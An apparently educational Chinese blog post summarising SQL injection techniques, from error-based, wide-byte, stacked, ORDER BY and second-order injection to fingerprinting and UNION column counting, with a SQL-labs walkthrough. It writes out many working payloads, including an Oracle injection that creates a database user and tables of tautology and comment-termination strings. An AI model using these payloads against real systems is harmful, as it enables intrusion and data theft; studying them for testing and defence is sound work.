Sanmi's blog

天下武功,无坚不破,唯快不破

0%

SQL注入漏洞总结1

SQL注入漏洞总结

0x00 基础知识

一、SQL语句基础知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

2. SQL优先级

AND 的优先级比 OR 的优先级要高。先计算AND的结果,再计算or的结果
同优先级AND中如果有恒为0(如and 1=2),则直接返回0,不执行同级中后面的语句
多个OR连接的语句中如果有恒为1(如or 1=1),则直接返回1,不执行同级中后面的语句

3. SQL 转义字符

3.1 通用特殊字符
1
2
'(单引号):代码与数据间的分界线。
可以使用单引号把数字值引起来,大多数数据库将把该值转换为他所代表的数值。Microsoft SQL Server 例外。
3.2 注释字符
-- 用于单行注释 SQL server
Oracle
PostgreSQl
/* */ 用于多行注释 SQL server
Oracle
PostgreSQl
用于单行注释。
要求第二个连字符后面跟一个空格或控制字符(如制表符、换行符)
MySQL
# 用于单行注释 MySQL
/* */ 用于多行注释 MySQL
3.3 拼接字符
Oracle & PostgreSQL ‘bi’||’kes’
Microsoft SQL Server 'bi'+'kes' +为 URL 保留字符,记得转义%2B
MySQL 'bi''kes'

4. 堆叠查询

堆叠查询即在单个数据库连接中执行多个查询序列。对于使用MSSQL 数据库的应用,格外有效。但不是对所有的平台都支持堆叠查询。

可以用;执行多条语句。服务器将依次执行每条语句,数据库服务器向客户端返回每条语句发送的结果集。
如:http://www.a.com/a.aspx?user=54;select *****;--

支持堆叠查询的语言/数据库

MSSQL MySQL PostgreSQL Oracle Access
ASP 支持 不支持
ASP.NET 支持 不支持
PHP 支持 不支持 支持 不支持
Java 不支持 PL/SQL 不支持
4.1 Oracle 执行堆叠查询的方法

Oracle 数据库是不允许执行堆叠查询的,但可以使用 PL/SQL 来执行堆叠查询.

默认情况下,在安装 Oracle 时安装了一些默认的包,其中两个允许执行PL/SQL匿名块的函数是:

1
2
3
4
5
dbms_xmlquery.newcontext()
dbms_xmlquery.getxml()
-- 任何数据库用户都可以执行这两个函数。在利用 SQL 注入漏洞的时候,可以使用这两个函数来执行 DML/DDL 语句块。如:

http://www.a.com/a.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' create user pwned identified by pwn3d ''; commit;end;)from dual) is not null --

5. 强制类型转换

数据库服务器 查询
MSSQL SELECT CAST(‘123’ AS varchar)
MySQL SELECT CAST(‘123’ AS char)
Oracle SELECT CAST(123 AS varchar) FROM dual
PostgreSQL SELECT CAST(123 AS text)
可以使用||链接字符串链接,只要有一个变量的值为字符串即可

6. 发起对外请求

Oracle

1
2
select utl_http.request('http://10.0.0.1') from dual;
select HTTPURITYPE('http://10.0.0.1').getclob() from dual;

7. SQL常用函数

CONCAT 函数用于将两个字符串连接为一个字符串

1
2
3
4
5
6
7
SQL> SELECT CONCAT('FIRST ', 'SECOND');
+----------------------------+
| CONCAT('FIRST ', 'SECOND') |
+----------------------------+
| FIRST SECOND |
+----------------------------+
1 row in set (0.00 sec)

IFNULL

1
2
3
SELECT IFNULL(value1,value2);
当value1为null时,返回结果为value2
当value1非null时,返回结果为value1

CAST 函数用于将某种数据类型的表达式显式转换为另一种数据类型。

1
2
3
4
5
6
7
CAST (expression AS data_type)

expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。

SELECT CAST('12' AS int)

CONV(x,f1,f2) 把数字x从f1进制转为f2进制。

substring 函数是用来抓出一个栏位资料中的其中一部分。这个函数的名称在不同的资料库中不完全一样:

1
2
3
4
5
6
7
8
9
MySQL: SUBSTR( ), SUBSTRING( )
Oracle: SUBSTR( )
SQL Server: SUBSTRING( )

SUBSTR (str, pos)
由 <str> 中,选出所有从第 <pos> 位置开始的字元。请注意,这个语法不适用于 SQL Server 上。

SUBSTR (str, pos, len)
由 <str> 中的第 <pos> 位置开始,选出接下去的 <len> 个字元。
  1. Length()函数 返回字符串的长度

  2. substr()截取字符串,偏移是从1开始,而不是0开始

  3. ascii()返回字符的ascii码

  4. count(column_name)函数返回指定列的值的数目(NULL 不计入)

  5. Length()函数 返回字符串的长度

  6. substr()截取字符串

  7. ascii()返回字符的ascii码

  8. sleep(n):将程序挂起一段时间 n为n秒

  9. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

  10. count(column_name)函数返回指定列的值的数目(NULL 不计入)concat

二、数据库基础知识

1. 数据库元数据存储位置

1.1 Mysql(版本5.0及以后)
  1. 元数据位于INFORMATION_SCHEMA虚拟数据库中,可通过SHOW DATABASESSHOW TABLES命令访问。
  2. 所有MySQL用户均有权访问该数据库中的表,但只能查看表中与该用户访问权限相对应的对象的行。
1
2
-- 列举当前用户可访问的所有的表和数据库
SELECT table_schema,table_name FROM information_schema.tables;
1.2 SQL Server
  1. 可通过INFORMATION_SCHEMA或系统表SYSOBJECTS,SYSINDEXKEYS,SYSINDEXES,SYSCOLUMNS,SYSTYPES等或系统存储过程来访问元数据。
  2. SQLServer 2005引入了一些名为sys.的目录试图,并限制用户只能访问拥有相对应权限的对象。所有的用户均有权访问数据库中的表并查看表中的所有行,而不管用户是否对表或所查阅的数据拥有相对应的访问权限。
1
2
--使用目录视图列举所有可访问的表
SELECT name FROM sys.tables;
1.3 Oracle
  1. 有很多全局内置视图来访问 Oracle 的元数据

  2. ALL_TABLES, ALL_TAB_COLUMNS `列出了当前用户可访问的属性和对象。

  3. USER_开头的视图只显示当前用户拥有的对象

  4. DBA_开头的视图显示数据库中的所有对象。需要有 DBA 权限

1
2
--列举当前用户可访问的所有的表
SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;

2. 数据库内置变量

2.1 获取数据库版本信息
数据库服务器 查询语句
MSSQL SELECT@@version
MySQL SELECT version()
SELECT@@version()
Oracle SELECT banner FROM v$version;
SELECT banner FROM v$version WHERE rownum=1
PostgreSQL SELECT version()
2.2 MSSQL内置变量
1
2
3
4
5
6
7
8
9
10
@@version				-- 数据库服务器版本
@@servername -- 安装MSSQL的服务器名称
@@language -- 当前所使用语言的名称。
@@spid -- 当前用户的进程

-- 获取更加详细的版本信息
SELECT SERVERPROPERTY('productversion')
SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition')
EXEC master..msver

0x01 SQL注入介绍

一、SQL注入产生的原因

二、SQL注入分类

1. 报错注入

2. Xpath报错注入

涉及函数

updatexml():对xml进行查询和修改

extractvalue():对xml进行查询和修改

报错语句构造

1
2
3
4
5
6
select extractvalue(1,concat(0x7e,user(),0x7e));
mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
select updatexml(1,concat(0x7e,version(),0x7e),1);
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'

原理分析

extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。

其实就是对XML文档进行查询的函数,相当于HTML文件中用 ``等标签查找元素一样,第一个参数传入目标xml文档,第二个参数使用Xpath路径法表示的查找路径

举个简单例子:

1
select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');

寻找前一段xml文档内容中的a节点下的c节点

1
2
3
4
5
+----------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') |
+----------------------------------------------------------+
| accc |
+----------------------------------------------------------+

正常情况下的使用便是这样,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容。
img

发现报错时少了一部分,没有前面的root,产生这样的问题是因为Xpath语法只有遇到特殊字符时才会报错

那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果
img
但是也要注意,报错的长度是有一定限制的,不要构造过长的payload,否则后面的字符串会被截断
img
updatexml()函数 与extractvalue()类似 ,是更新xml文档的函数

updatexml()函数有三个参数,分别是(XML_document, XPath_string, new_value)

1
2
3
4
5
第一个参数:XML_document是String格式,为XML文档对象的名称 

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

原理相同,都是遇到特殊字符爆出错误

img

3. 宽字节注入

涉及函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() — 转义一个字符串

原理分析

先了解一下什么是窄、宽字节已经常见宽字节编码:

1
2
3
4
5
6
7
一、当某字符的大小为一个字节时,称其字符为窄字节.

二、当某字符的大小为两个字节时,称其字符为宽字节.

三、所有英文默认占一个字节,汉字占两个字节

四、常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

问题就出现在使用PHP连接MySQL的时候,当设置

1
“set character_set_client = gbk”

时会导致一个编码转换的问题

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

4. SQL 盲注

SQL 盲注是一种SQL 注入漏洞,攻击者可以操纵 SQL 语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。

5. 堆叠注入

涉及字符

分号(;),在SQL语句中用来表示一条sql语句的结束

原理分析

堆叠注入可以执行任意的语句 ,多条sql 语句一起执行。在MYSQL命令框中,常以;作为结束符,那我们便可以在一句SQL语句结束后再紧跟一句SQL语句 。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> show databases;use web1;select 1,2,3;
+--------------------+
| Database |
+--------------------+
| information_schema |
| BWVS |
| bbs |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
| web1 |
+--------------------+
10 rows in set (0.00 sec)

Database changed
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

但堆叠注入是有局限性的,并不是每个环境都可以用到的:

1
2
3
一、可能受到API或者数据库引擎不支持的限制 

二、权限不足

所以一般这种方法的注入只会出现在CTF题中,但正因为这种方法感觉简单,很多人都会忽略掉,强网杯的web题随便注便用到了这种方法,当时真的懵的一批。

6. Order By注入

涉及函数

if()函数
updatexml()函数
extractvalue()函数
regexp()函数
rand()函数

原理分析

当用户提供的数据通过MySQL的“Order By”语句中的值进行传递时,如果可控制的位置在order by子句后,如order参数可控:select * from xxxxx order by $_GET['order']可能就会引发order by注入

利用大师傅的环境简单复现一下,源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "xxxx", "xxxx") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";
$result = mysql_query($sql);
$reslist = array();
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}
echo json_encode($reslist);
?>

if(语句1、语句2、语句3)如果语句1为真,则执行语句2,否则则执行语句3

1
2
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序

img
简单介绍下SQL语句中case 的两种格式

1
2
3
4
5
6
7
8
9
10
11
--简单Case函数
case 列名
when 条件值1 then 选项1
when 条件值2 then 选项2
else 默认值 end

--Case搜索函数
case
when 列名=条件值1 then 选项1
when 列名=条件值2 then 选项2
else 默认值 end

两种方式,可以实现相同的功能。简单Case函数的写法相对比较简洁,但是和Case搜索函数相比,功能方面会有些限制,比如写下面的判断式

1
2
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序

如果想利用构造的语句的话,直接将后面的选项更改成自己构造的语句即可
img
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值,所以也可以通过IFNULL来排序,甚至构造恶意语句

1
2
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序

返回多条记录

1
2
/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误

img
利用报错

1
2
3
4
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误

利用if语句,也可以在参数order后构造时间盲注,同样也是这里虽然是简单的排序,但如果将语句更改为猜解数据库的语句也是可以的
如:

1
2
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

利用order by注入不可能直接爆出数据,只能通过猜解来获得数据,猜解数据时只能一位一位的猜,所以可以利用substr截取函数以及leftright函数将每个字符分割出来,进行猜解,如果遇到Order by注入,最好用脚本,手注得累死

Order by注入就是通过这些函数,开发者本意是希望方便用户进行排序观察等,但如果不对其做出任何限制,就会被恶意利用,利用函数的功能去执行一些SQL注入语句,从而泄露信息。

7. 异或注入

涉及符号

MySQL中,异或用^xor表示

原理分析

异或注入原理较为简单一些,运算法则就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)null与任何条件做异或运算都为null

简单在mysql命令行演示一下:
img
用异或方法可以判断一些字符是否被过滤,如:
img
CTF题中如果想判断那些函数被过滤,便可以通过异或查询

1
符号^(str)^符号 -符号具体要结合题,str是由我们定义的命令

8. Limit注入

此方法适用于MySQL 5.x中,在limit语句后面的注入

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

1
2
3
4
5
6
# 报错注入
mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

# 时间注入
select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

10. 二次注入

看到涉及到的函数是不是感觉很熟悉,这是因为大多数网站都会对用户输入的语句进行对特殊符号的过滤,例如:恶意用户构造的插入语句为1',经过这些函数的处理则变为1\',这样便可以防止用户向服务器插入数据时引发的一些恶意操作,但这只是中途过滤了一下,最终返回到数据库里面的数据还是1',如果管理者对取出的数据没有进行进一步的检验处理,服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询,就会发生了SQL二次注入。

注意:二次注入不是注入两次的意思,二次注入相当于存储型的注入,可以看下面的图,介绍的也很直观。
img
总结起来 二次注入其实是分为两个步骤:

  1. 插入恶意数据

  2. 引用恶意数据

    原理既是如此,但不实战是无法掌握的,下面就来实战练习二次注入。

题目实战

SQL-labs24关便涉及到二次注入

先来看一下登陆时的源码
img
过滤函数将特殊符号给过滤掉了,所以直接注入是没戏的

再来查看一下用户注册的源码
img
同样过滤特殊字符,从注册进行注入也是不可能了

最后看一下修改密码的源码
img
同样如此,那就只能利用二次注入,先将恶意语句注入进数据库中,再调用

我们先注册一个用户admin'#,密码设置为123,注册好之后查看一下数据库

img
注册成功,这时其实我们就可以修改管理员admin,为什么那,来看下修改密码的sql语句

img
我们用户名为admin'#,调用该用户时,SQL语句则变为了
img
我们将admin密码更改为123456,测试一下
img
更改成功,这便是二次注入的简单利用

0x02 确认SQL注入点

并不存在真正完美的规则可以确定某个输入是否会触发 SQL 注入漏洞,因为存在无数种可能的情况。测试潜在的 SQL 注入时,必须坚持不懈并留心细节信息,这一点非常重要。

在心里重建开发人员在 web 应用中编写的代码以及设想远程 SQL 代码的内容以及潜在效果。这一点非常重要。

一、通过报错信息测试 SQL 注入

我们通常用注入一个'的方式,来通过返回的数据库报错信息来判断是否有 SQL 注入。

如果一个参数本应接收为一个数字,而输入了一个字符串。则 MySQL、SQL Server 会认为,如果该值不是一个数字,那么他肯定是个列名。

0. 关于报错信息

当Web服务器收到数据库返回的错误信息时,一般会选择如下几种方式进行返回。

  1. 将 SQL 错误显示在页面上,对 Web 浏览器用户可见.
  2. 将 SQL 错误隐藏在 web 页面的源代码中以便于调试
  3. 检测到错误时跳转到另一个页面。
  4. 返回 HTTP 错误代码 500 或 HTTP 重定向代码 302
  5. 应用适当的处理错误但不显示结果,可能会显示一个通用的错误页面。

1. 典型的 MySQL 报错举例

1
2
PHP+MySQL
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/a.com/a.php on line 8
1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near ''' at line 1
1
2
Error: Unknow columns 'test' in 'where clause'
如果注入的参数不是一个字符串(不需要单引号),则如上报错

2. 典型的 Oracle 错误举例

1
2
3
4
5
6
Java & Oracle
java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
表明了语法上不正确的 SQL 语句

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
该错误表明 Oracle 数据库检测到 SQL语句中有一个使用单引号引起来的字符串未被正确结束。(使用了单引号报错)
1
2
3
4
.NET & Oracle
ORA-01756: quoted string not properly terminated System.Web.
HttpUnhandledException: Exception of type 'System.Web.HttpUnhandleException' was thrown. ---> System.Data.OleDb.OleDbException: ORA-01756: quoted string not properly terminted
单引号报错
1
2
3
php & Oracle
PHP的ociparse()函数用户准备要执行的 Oracle 语句。
Warning: ociparse() [function.ociparse]: ORA-01756: quoted string not properly terminated in /var/www/a.com/ocitest.php on line 31
1
2
3
4
5
6
7
8
9
10
java.sql.SQLException: ORA-00907: missing right parenthesis atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:134) at oracle.jdbc.ttc7.TTloer.processError(TTloer.java:289) at oracle.jdbc.ttc7.receive(Oall7.java:582) at oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java:986)

数据库报告 SQL 语句中存在缺少右括号错误。很多原因会引发该错误。最常见的情况是攻击者在嵌套 SQL 语句中进行注入。例如一个嵌套查询。主 SELECT 语句执行括号中的另一条 SELECT 语句,如果攻击者向子查询语句注入了某些内容并将后面的 SQL语句注释掉那么会返回该错误。如:

SELECT field1, field2,
(SELECT field1
FROM table2
WHERE something = [attacker contorooled variable])
as field3
FROM table1

3. PostgreSQL 错误举例

1
2
3
4
5
单引号报错
Query failed: ERROR: unterminated quoted string at or near "'''"

其他常规错误,如圆括号等
Query failed: ERROR: syntex error at or near ""

注意识别错误代码中的函数名、错误代码等信息,并善用Google。

二、通过真假条件判断 SQL 注入

由于Web 应用收到数据库错误时,会做不同的处理。下面将介绍一些不直接在浏览器中显示数据库报错的示例。需要注意的是,操纵参数产生的错误,可能与SQL 注入无关。

Web 应用可能对于所有的错误,均返回一个通用的错误页面。如下图为 ASP.NET的错误页面。具体的行为取决于 web 服务器的配置。

756886-20160926012545213-933044801

如果测试web 站点时发现应用始终返回默认或自定义的错误页面,就需要弄清楚该错误是不是由 SQL 注入引发的。可以通过向参数中插入不会触发应用错误的 SQL 代码来进行测试

举例,当我们插入单引号引发统一报错时,服务端的 SQL 查询语句为

1
2
3
SELECT *
FORM products
WHERE category = '[attackers control]'

在这个例子中,我们可以猜测,我们尝试注入的是一个用单引号控制的字符串。此时尝试注入一些不会产生错误的内容。

永真语句: ’ or '1'='1

1
2
3
4
SELECT *
FORM products
WHERE category = 'bikes' or '1'='1'
如果存在 sql 注入,那么上述代码将返回 products 中的所有行

注入永真条件有一个缺点:查询结果会包含表中的所有记录。如果数据量过大,则会查询的时间很长,且会消耗过多的服务器资源。

无影响语句:' or '1'='2 ' and '1'='1

该方法不会对查询结果产生任何影响。

永假语句' and '1'='2
该语句不会返回任何结果。

通过对不同影响的语句产生的结果不同为对照来确认是否存在 SQL注入

例外:有很多原因,即使注入了一个永假条件,也可能会返回结果。

​ 比如如果 SQL 语句为一个联合查询,如果注入参数只影响了查询的一部分。

1
2
3
4
5
SELECT *
FROM products
WHERE category = 'bikes' AND '1'='2'
UNION SELECT *
FROM new_products

三、对字符型通过拼接字符串判断 SQL 注入&识别数据库类型

Oracle & PostgreSQL

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi'||'kes

Microsoft SQL Server

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi'+'kes

MySQL

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi''kes

如果以上两个请求的结果相同,则很可能存在 SQL 注入漏洞

四、对数字型采用数据计算确认 SQL 注入

1
2
3
4
http://www.a.com/a.php?id=3-1
http://www.a.com/a.php?id=4-2
http://www.a.com/a.php?id=5-3
返回的结果同 id=2

当然,也可以通过加法执行该测试,不过。因为加号是 URI的保留字,需要进行编码。可以用%2B来代替+

五、盲注

1. 时间延时注入

当测试是否存在 SQL 注入的时候,经常会因为各种原因无法直接确认注入的存在,可以通过对数据库注入时间延时,并检查服务器的响应是否也产生了延迟。

Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果。

1.1 MSSQL
1
2
3
4
5
-- 引入延迟的内置命令
WAITFOR DELAY 'hours:minutes:seconds'

-- 举例:
http://www.a.com/a.aspx?uid=45;waitfor delay '0:0:5';--
1.2 MySQL
1.2.1 BENCHMARK函数会将一个表达式执行许多次
1
http://www.a.com/a.php?id=32;SELECT BENCHMARK(10000000,ENCODE('hello,'mom'));--
1.2.2 SLEEP函数

添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数.如果记录数是 0,则不停留

由于MySQL的条件优先级的不同,在不同语句中执行sleep()函数导致的延迟时间(执行次数)不同,一个比较简单的判断就是,判断sleep()函数所在的点,进行数据查询时需要对比的数据记录数,即等于sleep()函数执行的次数。

1.3Oracle PL/SQL
1
2
3
4
5
6
7
8
9
BEGIN
DBMS_LOCK.SLEEP(5);
END;
-- 只有数据库管理员才能使用 DBMS_LOCK


dbms_pipe.receive_message('RDS', 10)
-- 可以用在 SQL 语句中的函数。推荐用这个函数
http://www.a.com/a.php?id=32 or 1=dbms_pipe.receive_message('RDS', 10)
1.4 PostgreSQL
1
2
http://www.a.com/a.php?id=32;SELECT pg_sleep(10);--
-- 需要 8.2及以上版本

七、注入测试 POC 汇总

1. 内联注入 poc 汇总

内联注入是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行。

字符串内联注入

测试字符串 变形 预期结果
触发错误。如果成功,数据库将返回一个错误
1’ OR ‘1’=’1 1’)or(‘1’=’1 永真条件。如果成功,将返回表中的所有行
1’ or ‘1’=’2 1’)or(‘1’=’2 空条件。如果成功,将返回与原来的值相同的结果
1’ and ‘1’=’2 1’)and(‘1’=’2 永假条件。如果成功,将不返回表中的任何行
1’ or ‘ab’=’a’+’b 1’)or(‘ab’=’a’+’b SQL Server 字符串连接。永真条件。
1’ or ‘ab’=’a’’b 1’)or(‘ab’=’a’’b MySQL字符串连接。永真条件
1’ or ‘ab’=’a’&#x7c;&#x7c;’b 1’)or(‘ab’=’a’&#x7c;&#x7c;’b Oracle 字符串连接。永真条件

数字值内联注入

测试字符串 变形 预期结果
触发错误。如果成功,数据库将返回一个错误
3-1 1+1 如果成功,将返回与操作结果相同的值
1 or 1=1 1)or(1=1 永真条件。如果成功将返回表中所有的行
1 or 1=2 1)or(1=2 空条件,如果成功,将返回与原来的值相同的结果
1 and 1=2 1)and(1=2 永假条件。如果成功,将不返回任何行
1 or ‘ab’=’a’+’b’ 1)or(‘ab’=’a’+’b’ SQL Server 字符串拼接。永真条件
1 OR ‘ab’=’a’’b’ 1)or(‘ab’=’a’’b’ Mysql 字符串拼接。永真条件
1 OR ‘ab’=’a’&#x7c;&#x7c;’b’ 1)or(‘ab’=’a’&#x7c;&#x7c;’b’ Oracle 字符串拼接。永真条件
2. 终止式 SQL 注入 POC 汇总
测试字符串 变形 预期结果
admin'-- admin')--
admin’# admin')#
1-- 1)--
1 or 1=1-- 1)or1=1--
' or '1'='1'-- ') or '1'='1'--
-1 and 1=2-- -1) and 1=2--
'and'1'=2-- ')and'1'=2--
1/**/

0x03 SQL注入的进一步利用

一、获取数据库信息

1. 通过报错获取数据库信息

1.1 利用类型转换报错

当我们发送类似于0/@@version作为注入代码时,除法运算需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成数字。当该操作失败时,数据库会显示出变量的内容。

举例:

1
2
3
4
5
6
7
8
http://www.test.com/a.aspx?a=bikes' and 1=0/@@version;--
http://www.test.com/a.aspx?a=bikes' and 1=0/user;--

http://www.test.com/a.asp?id=@@version
-- 应用程序希望id字段为数字,当传递给他的是@@version字符串。执行该查询时,SQL Server会忠实的接收@@version的值并尝试将其转换为证书。此时,会报错。

--字符型
http://www.test.com/a.asp?name='%2B@@version%2B'
1.2 利用SQL方言的差异确认数据库
1.2.1 利用字符串拼接差异来推断
数据库服务器 查询
MSSQL SELECT ‘some’+’string’
MySQL SELECT ‘some’ ‘string’
SELECT CONCAT(‘some’,’string’)
Oracle SELECT ‘some’&#x7c;&#x7c;’string’
SELECT CONCAT(‘some’,’string’)
PostgreSQL SELECT ‘some’&#x7c;&#x7c;’string’
SELECT CONCAT(‘some’,’string’)
1.2.2 从数字函数推断服务器版本

假如没有可用的易受攻击的字符串参数,则可以使用与数字参数类似的技术。执行一条特定技术的SQL语句,经过计算后他能成为一个数字。以下表格中的计算结果都是整数。

数据库服务器 查询
MSSQL @@pack_received
@@rowcount
MySQL Connection_id()
last_insert_id()
row_count()
Oracle BITAND(1,1)
PostgreSQL SELECT EXTRACT(DOW FROM NOW())
1.2.3 利用不同数据库的sleep函数确认服务器版本

[时间延时注入](#1. 时间延时注入)

1.2.4 MySQL获取准确版本的技巧

/* */是Mysql的注释字符。如果在注释的开头加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或等于注释中的版本编号,代码就会执行。举例:

1
2
3
SELECT 1 /*!40119 + 1*/
-- 如果MySQL版本为4.01.19或更高版本,则返回 2
-- 如果小于该版本,则返回 1
1.3 利用 GROUP BY & HAVING 获取数据库字段信息

这里将 HAVING 子句与 GROUP BY 子句结合使用。也可以在 SELECT 语句中使用 HAVING 子句过滤 GROUP BY返回的记录。GROUP BY 要求 SELECT 语句选择的字段是某个聚合函数的结果或者包含在 GROUP BY 子句中。如果该条件不满足,那么数据库会返回一个错误,显示出该问题的第一列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://www.test.com/a.aspx?a=bikes' having '1'='1
获取第一列列名 products.productid

继续利用获取所有的列
http://www.test.com/a.aspx?a=bikes' GROUP BY productid having '1'='1
返回「products.name」

http://www.test.com/a.aspx?a=bikes' GROUP BY productid,name having '1'='1
返回「products.price」

枚举出所有的列名吼,可以继续使用上面的类型转换错误来检索列对应的值
http://www.test.com/a.aspx?a=bikes' and 1=0/name;--

将已经发现的列加入到否定条件中,从而获取其他的列
http://www.test.com/a.aspx?a=bikes' and name not in ('diyilie') and 1=0/name and '1'='1


二、使用UNION语句提取数据

UNION语法

1
2
3
4
5
SELECT column-1,column-2,...,column-N FROM table-1
UNION/UNION ALL
SELECT column-1,column-2,...,column-N FROM table-2
-- UNION去重且排序,UNION ALL不去重不排序。
-- UNION ALL的执行速度会快一些.

UNION的要求

  • 两个查询返回的列数必须相同
  • 两个SELECT语句对应列所返回的数据类型必须相同(或至少是兼容的)

如果无法满足上述两个约束条件,则查询会返回一个错误。

1. 获取准确的列数

1.1 通过order by获取列数

ORDER BY 子句可以接受一个列名作为参数,也可以接受一个数字作为参数。可以通过增大order by自剧中代表列的数字来识别查询中的列数(建议用二分法)。

1
2
3
http://www.a.com/a.asp?id=12 order by 1
http://www.a.com/a.asp?id=12 order by 2
http://www.a.com/a.asp?id=12 order by 3
1.2 通过联合查询获取准确列数

通过union查询,逐渐增大列数,直到查询正确执行。则可以直到列数。

对于大多数服务器,NULL值会被转换成任意数据类型

1
2
3
4
5
http://www.a.com/a.asp?id=12 union select null--
http://www.a.com/a.asp?id=12 union select null,null--
http://www.a.com/a.asp?id=12 union select null,null,null--

-- 直到不返回错误为止。

Oracle是个例外

